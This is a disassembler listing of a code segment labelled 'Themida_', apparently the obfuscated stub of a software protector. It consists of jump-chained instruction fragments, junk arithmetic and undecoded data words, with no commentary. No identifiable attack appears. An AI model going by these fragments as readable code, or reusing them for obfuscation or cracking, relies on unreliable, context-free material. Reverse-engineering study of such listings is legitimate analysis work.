--------------------------------------------------------------------------- loc_58B6C8: ; CODE XREF: Themida_:0058ECE2j pop edx push eax mov al, 83h dec al inc al jmp loc_58C131 ; --------------------------------------------------------------------------- loc_58B6D5: ; CODE XREF: Themida_:0058CDB7j ; Themida_:loc_593DBDj push eax mov eax, 686157F5h jmp loc_5949AE ; --------------------------------------------------------------------------- loc_58B6E0: ; CODE XREF: Themida_:005972A4j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- db 0F7h dd 0F12E9D0h db 2 dup(0) word_58B6FE dw 5456h ; DATA XREF: Themida_:0058B0DCo dd 4C6815Eh, 81000000h, 4EEh, 24348700h, 240C895Ch, 3CE9E189h dd 570000AFh, 0FB89C789h, 81243C8Bh, 4C4h, 53555800h, 0FB240481h dd 0E9135C56h, 0A0A5h, 6804C483h, 304Fh, 0FF242C89h, 5D042474h dd 5C24048Fh, 24040966h, 0FC25E99Ch, 0E954FFFFh, 5798h dword_58B75C dd 0E9028F64h, 0FFFFFC17h; --------------------------------------------------------------------------- loc_58B764: ; CODE XREF: Themida_:0059372Fj dec ecx jmp loc_594D2E ; --------------------------------------------------------------------------- dw 0EC83h dd 14896602h, 7B566824h, 0C890000h, 50A8B524h, 7055E9h dd 2B800h, 39E90000h db 9Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B78B: ; CODE XREF: Themida_:005915E4j pop eax jmp loc_594906 ; --------------------------------------------------------------------------- db 0B4h, 0F9h, 0C0h dd 0CC8005E4h, 29C48085h, 0E921B652h, 7304h ; --------------------------------------------------------------------------- loc_58B7A4: ; CODE XREF: Themida_:0058C7C5j sub edx, eax pop eax pop esi jmp loc_594C48 ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 29000000h, 0E95358C3h, 4AF4h ; --------------------------------------------------------------------------- loc_58B7BC: ; CODE XREF: Themida_:00597747j pop ebp add ebp, edx pop edx add ebp, 54321693h or ebp, 5CB92DC7h push 4795h mov [esp], ecx jmp loc_58CFEB ; --------------------------------------------------------------------------- dd offset byte_6006E9 align 2 word_58B7DE dw 34FFh ; DATA XREF: Themida_:0058B0BCo dd 18C1E924h, 0E2810000h, 0A44849h, 0F7BFC281h, 0D701FFFFh dd 8EF815Ah, 29B3C399h, 7BB4E9F8h db 2 dup(0) word_58B802 dw 77FFh ; DATA XREF: Themida_:0058B0C0o dd 58669D1Ch, 24041966h, 0FB69E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B812: ; CODE XREF: Themida_:00597890j and edx, 7FA528E3h add edx, 0FFFBFF82h add ecx, edx pop edx xchg ecx, [esp] pop esp sub bl, 9Eh sub esp, 2 jmp loc_58C451 ; --------------------------------------------------------------------------- aI4Tsks db '┴4$TИks',0 db 0 ; --------------------------------------------------------------------------- loc_58B839: ; CODE XREF: Themida_:00590C9Dj mov ax, [esp] push ebx mov ebx, esp add ebx, 4 push ebp push 2 mov ebp, [esp] add esp, 4 add ebx, ebp mov ebp, [esp] jmp loc_58EC09 ; --------------------------------------------------------------------------- loc_58B85F: ; CODE XREF: Themida_:00593361j sub esp, 4 jmp loc_5908B8 ; --------------------------------------------------------------------------- dw 0D801h dd 6A71BF2Dh, 241C8B26h, 0FEDCE950h, 0F75FFFFFh, 5820FDEh dd 0C10000C1h, 8A0F03E6h, 0A379h, 452D78Ah, 86800F9Eh dd 2C0000C0h, 0E9C6887Dh, 2C7Eh ; --------------------------------------------------------------------------- loc_58B8A0: ; CODE XREF: Themida_:0059749Bj pop esi pop edx and eax, ecx pop ecx jmp loc_5948C1 ; --------------------------------------------------------------------------- loc_58B8AA: ; CODE XREF: Themida_:0059364Dj sub edx, 32F440C7h jmp loc_58E129 ; --------------------------------------------------------------------------- aIVss db '┴<$VИХ╡',0 align 2 word_58B8BE dw 34FFh ; DATA XREF: Themida_:0058B0ACo dd 24048B24h, 325668h, 24148900h, 0C281E289h, 4, 8704C283h dd 248B2414h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 30DB1E60h jmp loc_594D3A ; --------------------------------------------------------------------------- db 81h dd 4ECh, 0BD6CE900h, 0C15E0000h, 8A0F07E6h, 5E9h, 1EA2C681h dd 83340372h, 0CB01C389h, 0E9240C8Bh, 6A3Eh, 97088905h dd 6333E93Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B91E: ; CODE XREF: Themida_:0058E71Aj push edx sub esp, 4 mov [esp], esp jmp loc_597A4C ; --------------------------------------------------------------------------- loc_58B92D: ; CODE XREF: Themida_:005974B8j mov edi, esp add edi, 4 push ebp mov ebp, 67A77EBCh push 0 jmp loc_5955C1 ; --------------------------------------------------------------------------- db 5Eh, 87h, 14h aSeg db '$И┘G',0 align 2 loc_58B94E: ; CODE XREF: Themida_:0058EA61j pop ecx jmp loc_58C279 ; --------------------------------------------------------------------------- loc_58B954: ; CODE XREF: Themida_:00595803j push eax mov eax, ecx mov edx, eax jmp loc_58F184 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5A0424h, 0F5C2404h, 4F7668C8h, 2C890000h, 9BDFE924h dd 0D2F70000h, 0DBF7D387h, 69CDF381h, 0E3E94103h db 0C9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B987: ; CODE XREF: Themida_:00594857j add ecx, edi push ebx jmp loc_596BEC ; --------------------------------------------------------------------------- byte_58B98F db 66h ; DATA XREF: Themida_:0058B164o dd 0E924048Bh, 305Bh, 33242C31h, 4AE9242Ch, 8B000034h dd 0C4812404h, 4, 0C107EAC1h, 880F04E2h, 1F65h, 243C281h dd 840F31F0h, 4834h, 1A31C281h, 880F16B8h, 634h, 9BCBF281h dd 0D189440Bh, 0A388E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B9DE: ; CODE XREF: Themida_:0059863Dj push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5927FA ; --------------------------------------------------------------------------- dw 0B551h dd 80DDF6BBh, 0B6E9D8E5h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B9FF: ; CODE XREF: Themida_:00597004j mov edi, 62F7ADDh mov esi, edi mov edi, [esp] add esp, 4 sub ebp, esi jmp loc_58CE4E ; --------------------------------------------------------------------------- loc_58BA16: ; CODE XREF: Themida_:00598583j pop esi xchg esi, [esp] push dword ptr [esp] mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_593272 ; --------------------------------------------------------------------------- dd offset loc_5AEC66+2 align 2 dw 51E9h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58BA3B: ; CODE XREF: Themida_:0058BF74j pop edx jmp loc_596769 ; --------------------------------------------------------------------------- loc_58BA41: ; CODE XREF: Themida_:00595CE2j add edx, 6CAD461Ah mov ebx, edx mov edx, [esp] add esp, 4 mov edi, ebx pop ebx sub edi, 5F2479E8h sub edi, esi add edi, 5F2479E8h xchg edi, esi jmp loc_58E888 ; --------------------------------------------------------------------------- dw 8B66h dd 0C483240Ch, 0B5ADE902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58BA76: ; CODE XREF: Themida_:loc_592724j add eax, 60CA14C6h jmp loc_58CDAC ; --------------------------------------------------------------------------- loc_58BA80: ; CODE XREF: Themida_:00593D1Dj add edi, ebp pop ebp xchg edi, [esp] pop esp mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push edi mov edi, 5ACB5103h and edi, 1E4E0E6Ah dec edi inc edi xor edi, 28F52EEEh push ebx jmp loc_591040 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 56000000h, 2BEh, 8517E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58BACE: ; CODE XREF: Themida_:0058C95Fj and dl, 18h xor dl, 0FFh mov cl, dl pop edx sub esp, 4 jmp loc_594130 ; --------------------------------------------------------------------------- dw 3487h dd 4315C24h, 8CE99C24h, 81FFFFF8h, 5EBF02EDh, 1C6F21A6h dd 57242C8Bh, 0C781E789h, 4, 5D4EE9h db 0 ; --------------------------------------------------------------------------- loc_58BB09: ; CODE XREF: Themida_:0059552Cj dec edi js loc_58F03C jmp loc_58D490 ; --------------------------------------------------------------------------- loc_58BB15: ; CODE XREF: Themida_:0058D5B0j add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58BB1D: ; CODE XREF: Themida_:005929BEj push eax push esp pop eax push edx mov edx, 71604329h jmp loc_595891 ; --------------------------------------------------------------------------- aRs0g db 'RИ0ё',0 db 0 ; --------------------------------------------------------------------------- loc_58BB31: ; CODE XREF: Themida_:00591740j push ebx mov ebx, 0F2E01A87h sub edx, ebx pop ebx add edi, 12360752h add edi, edx sub edi, 12360752h push dword ptr [esp] pop edx push ebx jmp loc_59226A ; --------------------------------------------------------------------------- dw 0D301h dd 0AB1FE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_58BB5A: ; CODE XREF: Themida_:0058FA80j shl dh, 3 add dh, 9Bh jmp loc_58B616 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 68E9E389h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_58BB6F: ; CODE XREF: Themida_:0058D1D7j xor esi, 2B7B0F78h js loc_592F76 jmp loc_591EE5 ; --------------------------------------------------------------------------- dd 0BE5E9h, 0E5815B00h, 5F19294Fh, 71CBCD81h, 4EE9228Dh dd 81000063h, 0AB4A71E6h, 1AF3E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_58BBA2: ; CODE XREF: Themida_:005963EAj mov edi, 2CEB2835h jmp loc_59054A ; --------------------------------------------------------------------------- dd 37BA5258h, 572C6504h, 0DE402BBFh, 0A45CE94Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58BBBE: ; CODE XREF: Themida_:00591125j xor eax, 1B6985h xor ecx, eax push dword ptr [esp] jmp loc_591BC1 ; --------------------------------------------------------------------------- db 5Eh, 21h, 47h dd 24048B1Ch, 45C9E9h db 0 ; --------------------------------------------------------------------------- loc_58BBD9: ; CODE XREF: Themida_:0058C177j sub eax, 0CA25DAh mov edi, [esp] push 555Ah mov [esp], eax mov eax, esp add eax, 4 push ebx jmp loc_5925DB ; --------------------------------------------------------------------------- dw 6368h dd 0E900003Bh, 0C82Dh ; --------------------------------------------------------------------------- loc_58BC00: ; CODE XREF: Themida_:00592943j mov [esp], ebp push eax mov eax, 54515913h jmp loc_58DE62 ; --------------------------------------------------------------------------- loc_58BC0E: ; CODE XREF: Themida_:0058F81Ej mov [esp], eax jmp loc_593E9D ; --------------------------------------------------------------------------- dw 0C781h dd 54EB0080h, 2276CF81h, 0F78161C1h, 4E2DF772h, 8113E9h db 0 byte_58BC2D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058B09Co db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 9A81590h jmp loc_58EB2A ; --------------------------------------------------------------------------- loc_58BC3F: ; CODE XREF: Themida_:loc_595A6Aj add esi, 0EEF6FBE8h mov edx, esi pop esi sub edx, 2FD933BDh jmp loc_59808E ; --------------------------------------------------------------------------- loc_58BC53: ; CODE XREF: Themida_:0058CFA9j pop esp mov [esp], esi push 2 pop esi sub ecx, 6DF05BD4h add ecx, esi push esi mov esi, 129C092Dh shr esi, 2 dec esi xor esi, 524D4D19h jmp loc_593E07 ; --------------------------------------------------------------------------- loc_58BC7A: ; CODE XREF: Themida_:0059422Aj xchg edi, [esp] pop esp mov [esp], edi push esi mov esi, ebx mov edi, esi mov esi, [esp] jmp loc_58D544 ; --------------------------------------------------------------------------- loc_58BC8E: ; CODE XREF: Themida_:00596101j push 4FD0h mov [esp], esp jmp loc_594F41 ; --------------------------------------------------------------------------- aSfi db '^И■I',0 dd 3E9C000h, 8A62E9h db 0 ; --------------------------------------------------------------------------- loc_58BCA9: ; CODE XREF: Themida_:00594F48j pop eax push ebx mov ebx, 4 jmp loc_59530B ; --------------------------------------------------------------------------- loc_58BCB5: ; CODE XREF: Themida_:00593519j xor edx, eax xor eax, edx xor edx, eax jmp loc_5921E9 ; --------------------------------------------------------------------------- dd 148B5452h, 4C48124h, 55000000h, 0F76197BDh, 50DDF77Ah dd 6B5FE9h, 81D6F700h, 4ECh, 243C8900h, 26CEE9h db 0 ; --------------------------------------------------------------------------- loc_58BCE9: ; CODE XREF: Themida_:0058FBF8j jmp loc_593967 ; --------------------------------------------------------------------------- loc_58BCEE: ; CODE XREF: Themida_:00596C1Fj push esi jmp loc_593B0D ; --------------------------------------------------------------------------- loc_58BCF4: ; CODE XREF: Themida_:005906C3j pop dword ptr [esp] pop esp jmp loc_596B1E ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C2h dd 4, 735A68h, 24048900h, 2B8h, 420FE900h, 0E9560000h dd 8554h ; --------------------------------------------------------------------------- loc_58BD1C: ; CODE XREF: Themida_:00597903j sub bl, dl sub bl, 0EFh mov dx, [esp] add esp, 2 push ax mov ah, 7Dh jmp loc_597149 ; --------------------------------------------------------------------------- dd 49ADC381h, 0C3816752h, 64F612A1h, 0E95BD829h, 0BBFAh ; --------------------------------------------------------------------------- loc_58BD48: ; CODE XREF: Themida_:0058C320j shr edx, 1 and edx, 57234C7Eh neg edx not edx jmp loc_595980 ; --------------------------------------------------------------------------- loc_58BD59: ; CODE XREF: Themida_:00595D02j mov ah, [esp] add esp, 2 sub ah, 4Eh add bl, ah jmp loc_58EC8F ; --------------------------------------------------------------------------- db 29h, 0FDh, 5Fh dd 0E831C531h, 0E883C531h, 0B9519501h, 14D30737h, 4897C981h dd 8B0F4BDCh, 6EB9h, 2D20F181h, 0CD016BE5h, 6ABB5359h dd 29406143h, 0B9515BDDh, 5F07482Bh, 5706E1C1h, 4AF0E9h db 0 ; --------------------------------------------------------------------------- loc_58BDA9: ; CODE XREF: Themida_:00593F63j ; Themida_:005984FCj push 2FC3h mov [esp], eax mov eax, 3BEA5584h push 3C2Dh mov [esp], edx jmp loc_592828 ; --------------------------------------------------------------------------- db 43h dd 1E3BC381h, 99E9195Ah db 0B4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58BDCF: ; CODE XREF: Themida_:0058B64Aj add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push ecx push eax mov eax, 40h push eax push dword ptr [esp] pop ecx jmp loc_59484A ; --------------------------------------------------------------------------- dd 3ED5B951h, 2055F96h, 11E2235h, 35022DC8h, 0E9591E22h dd 8BE6h, 4742850Fh, 0EE810000h, 2C521FCAh, 0BAB1E9h, 0ED835B00h dd 0FD8F604h, 0A438Ch, 0E9D8F600h, 18E8h, 55243C89h ; --------------------------------------------------------------------------- loc_58BE30: ; CODE XREF: Themida_:0058DFA1j mov [esp], ebp mov ebp, 4F666180h add eax, ebp mov ebp, [esp] push 490Fh mov [esp], esi mov esi, esp jmp loc_597A17 ; --------------------------------------------------------------------------- loc_58BE4C: ; CODE XREF: Themida_:00590ADEj push 720Ah mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_58C69E ; --------------------------------------------------------------------------- loc_58BE6D: ; CODE XREF: Themida_:0058C859j and eax, esi mov esi, [esp] add esp, 4 or eax, eax jz loc_594C84 push dword ptr [edi+1Ch] push edi push ebp push 5B6715BFh pop ebp sub ebp, 2503B652h jmp loc_597504 ; --------------------------------------------------------------------------- loc_58BE93: ; CODE XREF: Themida_:005952EFj add eax, 4 xchg eax, [esp] jmp loc_58C004 ; --------------------------------------------------------------------------- loc_58BE9E: ; CODE XREF: Themida_:00595094j pop ebp add eax, ecx sub eax, 3ED401D9h mov ecx, [esp] add esp, 4 jmp loc_5920E5 ; --------------------------------------------------------------------------- loc_58BEB1: ; CODE XREF: Themida_:0058EF12j pop ebx push 5002h mov [esp], eax jmp loc_595E1E ; --------------------------------------------------------------------------- loc_58BEBF: ; CODE XREF: Themida_:005981B4j push 363Fh mov [esp], esp push ebp mov ebp, 4 add [esp+4], ebp pop ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 add ebp, 4 jmp loc_59559C ; --------------------------------------------------------------------------- db 81h, 0C6h, 0A2h dd 0E903721Eh, 0A7A5h ; --------------------------------------------------------------------------- loc_58BEF4: ; CODE XREF: Themida_:00592F22j shr esi, 3 jmp loc_593237 ; --------------------------------------------------------------------------- loc_58BEFC: ; CODE XREF: Themida_:00594A61j add ebx, edx jmp loc_58F217 ; --------------------------------------------------------------------------- byte_58BF03 db 8Bh ; DATA XREF: Themida_:0058B208o dd 54552404h, 4C5815Dh, 68000000h, 18B6h, 51241C89h, 0FFFC0EE9h db 0FFh ; --------------------------------------------------------------------------- loc_58BF1D: ; CODE XREF: Themida_:00592698j mov [esp], eax jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58BF25: ; CODE XREF: Themida_:005963E1j push eax mov eax, 1F4A15D8h xor eax, 4F2A1A75h inc eax push edi mov edi, 56EB3CDDh not edi jmp loc_5931B6 ; --------------------------------------------------------------------------- dw 8851h dd 8BEA88DDh, 0C481240Ch, 4, 0E9D38853h, 0FFFFF4F0h ; --------------------------------------------------------------------------- loc_58BF54: ; CODE XREF: Themida_:0058C22Aj mov ecx, 7B082521h or edx, ecx pop ecx not edx jmp loc_597CCF ; --------------------------------------------------------------------------- loc_58BF63: ; CODE XREF: Themida_:0058DDEAj pop ecx add eax, ebx push edx mov edx, 5CDB3566h xor edx, 3C4C1F69h sub eax, edx jmp loc_58BA3B ; --------------------------------------------------------------------------- loc_58BF79: ; CODE XREF: Themida_:0058CF2Aj push esp pop esi jmp loc_5963E6 ; --------------------------------------------------------------------------- loc_58BF80: ; CODE XREF: Themida_:0058B467j sub ebp, 0FF7D7ECDh sub edx, 53815C19h jmp loc_58B498 ; --------------------------------------------------------------------------- loc_58BF91: ; CODE XREF: Themida_:005965C2j or ebp, 0D7E1559h add ebp, 0D1160AD2h or ebx, ebp pop ebp or ebx, 714E05F5h not ebx push edi mov edi, 47572A34h or edi, 2FF24D04h jmp loc_593E19 ; --------------------------------------------------------------------------- loc_58BFB9: ; CODE XREF: Themida_:00594354j mov eax, 1CA45C17h add dword ptr [esp+4], 5964F98h add [esp+4], eax sub dword ptr [esp+4], 5964F98h pop eax pop ecx jmp loc_59828B ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 5 aCltIXsuq db 'Ф╚Б',7,'┴еXИН÷',0 align 4 loc_58BFE8: ; CODE XREF: Themida_:00595244j push ecx push 78A56B14h pop ecx shr ecx, 6 shr ecx, 1 neg ecx jmp loc_58EF1C ; --------------------------------------------------------------------------- db 83h dd 0E95004C4h, 0FFFFF77Dh ; --------------------------------------------------------------------------- loc_58C004: ; CODE XREF: Themida_:0058BE99j pop esp sub ebp, 65F2FB39h and eax, ebp pop ebp shr eax, 12h xor eax, ecx sub esp, 4 jmp loc_58F17A ; --------------------------------------------------------------------------- loc_58C01B: ; CODE XREF: Themida_:0058B3BBj add al, 0F0h sub al, dh sub al, 0F0h jmp loc_59065B ; --------------------------------------------------------------------------- loc_58C026: ; CODE XREF: Themida_:00595588j push 0E96485Dh pop esi push esi push 0C814FBDh mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] xor esi, 21707E0h push esi xor dword ptr [esp], 74B56057h pop ebx xor ebx, 74B56057h mov esi, [esp] add esp, 4 jmp loc_58C3A1 ; --------------------------------------------------------------------------- loc_58C067: ; CODE XREF: Themida_:00597B38j pop ecx jmp loc_59202A ; --------------------------------------------------------------------------- loc_58C06D: ; CODE XREF: Themida_:0059150Cj mov ebx, 9A6A894Ah sub ecx, ebx jmp loc_596C56 ; --------------------------------------------------------------------------- db 81h, 0F3h, 88h dd 8904A5A8h, 0D4055BD9h, 295AD330h, 3DBA52C8h, 4A5D3918h dd 4A3BEA81h, 1AE9447Ch, 5C00008Eh, 0FF2434FFh, 52582434h dd 4EC81h, 7CE90000h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C0AF: ; CODE XREF: Themida_:0058D066j add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_58D1A3 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 1C8BFD88h, 4C48324h, 8322C580h, 48904ECh, 6F54E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58C0D6: ; CODE XREF: Themida_:00593412j add dword ptr [esp], 4 pop dword ptr [esp] push edi mov edi, 4 add [esp+4], edi jmp loc_594685 ; --------------------------------------------------------------------------- loc_58C0EC: ; CODE XREF: Themida_:0058CC52j add eax, ebp jmp loc_592E10 ; --------------------------------------------------------------------------- loc_58C0F3: ; CODE XREF: Themida_:00591206j jmp loc_59065B ; --------------------------------------------------------------------------- loc_58C0F8: ; CODE XREF: Themida_:00597918j mov ecx, 6344303Eh sub edx, ecx pop ecx jmp loc_59566B ; --------------------------------------------------------------------------- loc_58C105: ; CODE XREF: Themida_:0058CFD2j sub edi, 0FFFFFFFFh xor edi, 3B1D0D93h add eax, edi pop edi push esi mov esi, 67140081h shr esi, 2 shr esi, 4 or esi, 1BD97234h and esi, 76EA10B9h jmp loc_58F377 ; --------------------------------------------------------------------------- loc_58C131: ; CODE XREF: Themida_:0058B6D0j neg al jmp loc_5908DD ; --------------------------------------------------------------------------- dd 0C7815F54h, 4, 4BA52h, 0EF810000h, 1E493EC7h, 6494E9h db 0 ; --------------------------------------------------------------------------- loc_58C151: ; CODE XREF: Themida_:0059240Cj pop ebp pop dword ptr [esp] pop esp xor ebp, 7D7F6EBFh and eax, ebp jmp loc_593393 ; --------------------------------------------------------------------------- loc_58C163: ; CODE XREF: Themida_:00598573j sub eax, esi pop esi sub eax, 7F40214Eh add eax, edi add eax, 7F40214Eh add eax, 54D335EFh jmp loc_58BBD9 ; --------------------------------------------------------------------------- dd 52D8005Bh, 0F280F7B2h, 12EA809Ah, 148BD028h, 4C48124h dd 2C000000h, 0FCB15162h, 6323E951h, 52530000h, 0A29599BAh dd 5AD38980h, 575BDF01h, 243C8B5Dh, 4090E9h db 0 aN1RNhBAhUh db '╜1ьR╨╧NH&│бahхuh$"',0 ; DATA XREF: Themida_:0058B2E4o dd 240C8900h, 9CD68h, 241C8900h, 0C87D16BBh, 3E3C11Ch dd 0F07EBC1h, 6AC88h, 0E2CB8100h, 0F0A8518h, 2D268Ah, 69D7E900h dd 0C9810000h, 48132CAAh, 20242C81h, 68074855h, 6D96h dd 53243C89h, 4D538A68h, 0B8505B64h, 0D8B48DAh, 0D0F7D0F7h dd 2503E8C1h, 1C4149D7h, 73CE9h db 0 ; --------------------------------------------------------------------------- loc_58C229: ; CODE XREF: Themida_:0058F186j push ecx jmp loc_58BF54 ; --------------------------------------------------------------------------- loc_58C22F: ; CODE XREF: Themida_:00592A35j sub cl, 3Bh neg cl sub cl, 14h inc cl sub cl, 42h add al, cl pop ecx jmp loc_592782 ; --------------------------------------------------------------------------- dd 0A47497BFh, 81DFF764h, 0F4228FE7h, 50DFF73Fh, 28364BB8h dd 5131E947h, 0EA890000h, 5D2434FFh, 0E9E68956h, 5321h dd 5E04CC04h, 5A2434FFh, 52C0E9h db 0 ; --------------------------------------------------------------------------- loc_58C279: ; CODE XREF: Themida_:0058B94Fj pop ebx mov eax, [esp] add esp, 4 xor al, dl push dword ptr [esp] pop edx add esp, 4 jmp loc_58C85E ; --------------------------------------------------------------------------- loc_58C28E: ; CODE XREF: Themida_:00593D68j jmp loc_59744D ; --------------------------------------------------------------------------- db 0F6h dd 24B252D1h, 0C007E2C0h, 8BE902E2h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C2A3: ; CODE XREF: Themida_:00594C85j push 7F66h mov [esp], esp jmp loc_58E5A7 ; --------------------------------------------------------------------------- loc_58C2B0: ; CODE XREF: Themida_:0059111Fj jmp loc_59735D ; --------------------------------------------------------------------------- db 2Dh, 0ABh, 73h dd 0E8294C99h, 9973AB05h, 685E5D4Ch, 39E0h, 87DE9h db 0 ; --------------------------------------------------------------------------- loc_58C2CD: ; CODE XREF: Themida_:00597F10j push 6ECB2EF3h pop edi inc edi js loc_58FE7A add edi, 9136D10Ch push ecx push 2B0Fh mov [esp], edi mov ecx, [esp] add esp, 4 jmp loc_58D1AE ; --------------------------------------------------------------------------- loc_58C2F7: ; CODE XREF: Themida_:00594A2Aj mov bl, 85h sub bl, 84h jmp loc_5967D4 ; --------------------------------------------------------------------------- loc_58C301: ; CODE XREF: Themida_:0059052Ej sub edx, 3E4112A9h add edx, eax jmp loc_596212 ; --------------------------------------------------------------------------- loc_58C30E: ; CODE XREF: Themida_:00590F0Bj push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax push edx mov edx, 8325EEDh jmp loc_58BD48 ; --------------------------------------------------------------------------- db 43h, 81h, 0E3h dd 3D095FB5h, 0B1E3C381h, 0DDE9CBF7h, 0F6000044h, 3EB252DFh dd 0D027C280h, 58B753EAh, 203DEF80h, 1CE95BFAh, 6600008Fh dd 542DCA81h, 0CCEA8166h, 0D3316636h, 40B4E9h, 7D870F00h dd 81000054h, 0CD3593EDh, 27890F57h, 8A00000Eh, 89535EF9h dd 4C381E3h, 83000000h, 1C8704C3h, 0D8005C24h, 0D2043C2Ch dd 4EC8352h, 0B0240489h, 50F9B62Ah, 0C8FE2CB0h, 1069E9h db 0 ; --------------------------------------------------------------------------- loc_58C3A1: ; CODE XREF: Themida_:0058C062j xor ebx, esi push dword ptr [esp] pop esi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_592EAD ; --------------------------------------------------------------------------- db 87h dd 0E95C241Ch, 7039h, 89243C89h, 4BA52E7h, 1000000h, 0EF815AD7h dd 4, 0FFF2B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_58C3E1: ; CODE XREF: Themida_:0058CC0Dj mov edi, [esp] add esp, 4 jmp loc_593EBC ; --------------------------------------------------------------------------- db 53h dd 3C1168h, 132FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58C3FA: ; CODE XREF: Themida_:005969A9j ja loc_595CA6 xor edx, 10004CF5h mov ebp, edx pop edx add esi, ebp pop ebp xor esi, [esp] push ecx mov ecx, 59EC358Eh add edi, ecx pop ecx shr edi, 6 xor edi, 736EAEB8h mov ebx, edi pop edi jmp loc_5947E0 ; --------------------------------------------------------------------------- aS7 db '\И7б',0 db 0 ; --------------------------------------------------------------------------- loc_58C42F: ; CODE XREF: Themida_:0058EBA4j pop esi add esp, 4 add eax, 627504FDh add eax, 7E146452h add eax, edi sub eax, 7E146452h sub eax, 627504FDh jmp loc_5978A0 ; --------------------------------------------------------------------------- loc_58C451: ; CODE XREF: Themida_:0058B82Bj mov [esp], dx mov dl, 12h add bl, dl pop dx add bl, al sub bl, 12h push 7FEDh mov [esp], edx mov dl, 9Eh push cx mov ch, 0F6h add bl, ch pop cx add bl, 1Fh add bl, dl sub bl, 1Fh jmp loc_593A17 ; --------------------------------------------------------------------------- aIcs4f db '┴ФИ4■',0 align 2 loc_58C486: ; CODE XREF: Themida_:00591A72j push eax mov eax, esp add eax, 4 sub eax, 4 push eax push dword ptr [esp+4] jmp loc_5983FB ; --------------------------------------------------------------------------- loc_58C49D: ; CODE XREF: Themida_:00592B9Fj add eax, ecx sub eax, 6BF749A8h pop ecx xchg eax, [esp] mov esp, [esp] jmp loc_58E9E2 ; --------------------------------------------------------------------------- dd 207F83h, 69F3840Fh, 50530000h, 0F4645DB8h, 0C1D0F722h dd 0BA5206E0h, 72A72AD3h, 1CCEE9h, 24048900h, 88FDB652h dd 0C3005AF0h, 0C7C38058h, 7581E9h, 48F5E00h, 0F6E95C24h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C4EF: ; CODE XREF: Themida_:00597974j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp and eax, ebp push dword ptr [esp] jmp loc_58E348 ; --------------------------------------------------------------------------- dw 1DB9h dd 2932A1C7h, 0FB0159CFh, 10BDE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58C516: ; CODE XREF: Themida_:005934CAj push dword ptr [esp] pop esi jmp loc_597F48 ; --------------------------------------------------------------------------- db 83h dd 0C38104C4h, 499F69D2h, 0EB81C301h, 499F69D2h, 99E3E9h dd 74FF5200h, 8F5A0424h, 248B2404h, 48F5424h, 71056824h dd 92E90000h, 0B4000093h, 0EF42E9A4h, 2C89FFFFh, 51E58924h dd 4B9h, 0B588E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58C566: ; CODE XREF: Themida_:00597706j pop edx add ebp, 18C273D6h jmp loc_590E36 ; --------------------------------------------------------------------------- dw 0EB81h dd 9C148D21h, 0BCE9D989h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C57F: ; CODE XREF: Themida_:0058DF87j sub esp, 4 jmp loc_58CCD6 ; --------------------------------------------------------------------------- loc_58C58A: ; CODE XREF: Themida_:00596871j mov [esp], edi push edx mov edi, [esp] jmp loc_59350D ; --------------------------------------------------------------------------- word_58C596 dw 8B66h ; DATA XREF: Themida_:0058B314o dd 2968240Ch, 89000069h, 0FF54241Ch, 835B2434h, 0BF5704C4h dd 6B1D2CEAh, 7B7CCF81h, 4F4F238Ch, 2BCFBB53h, 0FAE97BA4h dd 660000B0h, 5166F801h, 58C1E9h, 4BE00h, 0F7E90000h, 5000004Eh dd 42474FFh, 24048F58h, 0F24248Bh, 0DE9C8BFh db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C5EB: ; CODE XREF: Themida_:0058EBB7j sub eax, ebx pop ebx shr eax, 7 sub eax, 0E4E11028h jmp loc_5939C6 ; 